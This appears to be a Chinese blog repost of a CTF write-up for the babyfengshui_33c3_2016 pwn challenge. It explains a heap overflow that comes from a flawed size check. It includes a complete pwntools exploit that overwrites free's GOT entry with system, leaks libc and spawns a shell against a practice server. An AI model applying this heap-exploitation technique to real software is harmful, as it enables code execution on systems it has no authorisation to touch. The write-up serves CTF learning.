babyfengshui_33c3_2016[堆溢出]

2024-01-16 11:59
文章标签 溢出 2016 babyfengshui 33c3

本文主要是介绍babyfengshui_33c3_2016[堆溢出],希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

未来的你 = 你的热情 + 你的努力 + 那么微不足道的天赋

在这里插入图片描述

其实做pwn题我感觉都是只可意会,但并非不可言传,只是说了感觉和说废话一样,没有什么实质性的作用,最最重要的是要自己多去操作调试,pwn多了也就那样吧!但是最核心的永远是你coding的能力!虽然在干着逆向的事,但是coding的能力决定了你的高度! ----小白感悟

这道题问题出现在更新的时候边界的判断方法有问题,结合的堆的机制,就可以形成堆溢出!
在这里插入图片描述
添加一个用户会申请两个chunk,后一个chunk的内容为前一个chunk的地址+输入的text

struct user {void * prev_chunk;char text[124];
};
// sizeof(struct user) = 0x80

第二个chunk的的内容也就是上面的结构

对于这个判断就是前一个chunk的起始地址 + size 与 当前chunk的起始地址 - 4 进行比较(因为这是32位程序)。这种判断方法显然只有每一个用户都是一个挨着一个有效,这样在内存中堆上的布局才会是每个chunk依次挨着。

堆的机制,当我们释放大于fastbin的范围时候会先放到unsorted bin(前提是不和top chunk相邻,不然直接合并了),同理申请的时候也是优先从unsorted bin中进行分配。

所以当我们删除用户的时候,也就是释放chunk,放到那么就不按照顺序了

当前一个chunk的位置离当前chunk非常远的时候,上面的条件就可以轻松绕过。

接下来就是利用堆溢出修改上面user结构体的的prev_chunk的指针为got表中的free,因为此时已经重定位过了,然后直接打印就能拿到free的地址,泄露libc,拿到system的地址。

由于上面已经填入了free的got地址,当再次更新的时候,就会直接操作got表,此时再将free的位置修改为system的地址。最后当我们再一次free的时候,就会直接调用system函数了,/bin/sh是我们直接填入的,为什么会调用呢?可以先看一下free部分的做法

 if ( a1 < byte_804B069 && ptr[a1] ){free(*ptr[a1]);free(ptr[a1]);ptr[a1] = 0;}

ptr是一个指针数组,存放我们每次malloc的地址,当我们修改got表后就相当于system(*ptr[a1]),此时*ptr[a1]位置就是我们填入的/bin/sh,从而拿到shell.

exp

from pwn import *
from LibcSearcher import *context(log_level='debug')def debug_pause():log.info(proc.pidof(p))pause()def add_user(size, text):"""text_len update lengthtext description"""p.sendlineafter('Action:', '0')p.sendlineafter('size of description:', str(size))p.sendlineafter('name', b'moddemod')p.sendlineafter('text length', str(text.__len__()))p.sendlineafter('text', text)def delete_user(index):p.sendlineafter('Action:', '1')p.sendlineafter('index:', str(index))def display_user(index):p.sendlineafter('Action:', '2')p.sendlineafter('index:', str(index))# p.recvuntil('name:')def update_user(index, text):p.sendlineafter('Action:', '3')p.sendlineafter('index:', str(index))p.sendlineafter('text length', str(text.__len__()))p.sendafter('text', text)proc_name = './babyfengshui_33c3_2016'
p = process(proc_name)
p = remote('node3.buuoj.cn', 28094)
elf = ELF(proc_name)
add_user(0x10, b'a') # 0
add_user(0x10, b'b') # 1
add_user(0x10, b'/bin/sh\x00') # 2
# debug_pause()delete_user(0)
free_got = elf.got['free']
add_user(0x80, b'a' * 0x80 + p32(0x0) + p32(0x19) +  b'a' * 0x10 + p32(0x0) + p32(0x89) + p32(free_got))
display_user(1)
p.recvuntil('description: ')
free_addr = u32(p.recv(4))
log.info(hex(free_addr))
libc = LibcSearcher('free', free_addr)
libc_base = free_addr - libc.dump('free')
system_addr = libc_base + libc.dump('system')
update_user(1, p32(system_addr))
delete_user(2)
p.interactive()

在这里插入图片描述
如果还是不能理解的话,下面应该是作者的源码吧,可以参考一下!
源码:https://github.com/bkth/babyfengshui/blob/master/babyfengshui.c

这篇关于babyfengshui_33c3_2016[堆溢出]的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/612526

相关文章

Java循环创建对象内存溢出的解决方法

《Java循环创建对象内存溢出的解决方法》在Java中,如果在循环中不当地创建大量对象而不及时释放内存,很容易导致内存溢出(OutOfMemoryError),所以本文给大家介绍了Java循环创建对象... 目录问题1. 解决方案2. 示例代码2.1 原始版本(可能导致内存溢出)2.2 修改后的版本问题在

实践课堂|2016成都站|报名开始啦!

Hi,QingCloud 的小伙伴们,欢迎参加史上最有营养的云知识讲堂。 QingCloud 实践课堂系列开始于 2014 年末,在深圳、上海、广州、成都、杭州、北京六个城市,QingCloud 的研发工程师们同近千名 CIO 、架构师、开发者、运维工程师……分享了 QingCloud 的技术理念、功能特性和使用技巧,还有来自人民网、融云、泰捷视频、杏树林、友好速搭、百姓网、冰点、顺丰速运、洋葱

堆内存溢出的测试类——JVM学习笔记

记个笔记,手写一个测试类,模拟堆内存溢出。 /*** 堆内存溢出测试类* VM Agrs: -Xms10m -Xmx10m -XX:+HeapDumpOnOutOfMemoryError* @author lixiang* @date 2019年04月12日 - 14:44* @history 2019年04月12日 - 14:44 lixiang create.*/public class

记一次 OOM内存溢出案例

在linux中,出现killed的原因是系统资源不足或内存不足;当系统资源不足时,Linux内核也可以决定终止一个或多个进程,内存不足时会在系统的物理内存耗尽时触发killed,可以利用“dmesg | tail -7”命令来查看killed日志。     linux出现killed的原因是什么 触发Killed常见原因 当系统资源不足时,Linux 内核也可以决定终止一个或多个进程

2016/9/11--一周的工作总结

自从九月一号开始上班到现在,现在总结一下自己的问题: 第一个问题:自己没有认真的解决问题! 刚去的第二天,施工给我了一张图纸,让我对电路图进行分析,我刚开始查了一些资料,也看了看但是一直不会做,后边就放一边了也不管了,自己一直说实习学不到东西,但是真正的问题来的时候,是否全力以赴的解决问题?这个问题你真的尽全力去解决了吗?回答是:不,我没有。我还不如一个本科的学生,我一直在逃避,一直没有

C/C++堆溢出(stack overflow)的解决

问题 堆溢出(stack overflow) 解决 (1)在VS里面设置 【属性】/【链接器】/【系统】/【堆栈保留大小】 (2)通过代码 //第一个值是堆栈的保留空间//第二个值是堆栈开始时提交的物理内存大小。堆栈改变为100M。#pragma comment(linker,"/STACK:102400000,1024000")

日记 01/27/2016.

有机会再看看这个: https://www.zhihu.com/question/27578379 想拿高package,多去拿几个offer再来谈,特别是hot startup的package,往往拿来要挟大公司的HR很好用。 最近在学习Angular JS,自己一定要坚持下来。然后把前端的知识补上。 打算Aug的时候,然后把Princeton的算法课上了,重新充电,然后把

2016年末程序员应该知道的基本架构思想

http://www.toutiao.com/i6352598153379709442/?tt_from=mobile_qq&utm_campaign=client_share&app=news_article&utm_source=mobile_qq&iid=6176041275&utm_medium=toutiao_ios

高教社杯数模竞赛特辑论文篇-2016年C题:电池剩余放电时间预测(附MATLAB代码实现)

目录 摘要 一、 问题重述 1.1 已知铅酸电池的基本情况与要求 1.2 需要解决的问题 1.2.1 问题 1 需要解决以下三点: 1.2.2 需要解决以下三点: 1.2.3 问题3需要解决: 二、问题分析 2.1 问题1 2.2 问题 2 2.3 问题3 三、模型假设与约定 四、符号说明及名词定义 五、模型的建立与求解 5.1 问题一的分析与求解 5.2 问题二的分析与求解 5.3 问题三的分

蘑菇街2016研发工程师编程题--回文串

题目 给定一个字符串,问是否能通过添加一个字母将其变为回文串。 输入描述: 一行一个由小写字母构成的字符串,字符串长度小于等于10。 输出描述: 输出答案(YES\NO). 示例1 输入 coco 输出 YES 解法1 使用动态规划,先看一下回文串的性质,如果一个字符串为回文串,那么翻转这个字符串以后跟原来的子串相同如下: 根据题目如果加一个字符就能使字符串成为回文串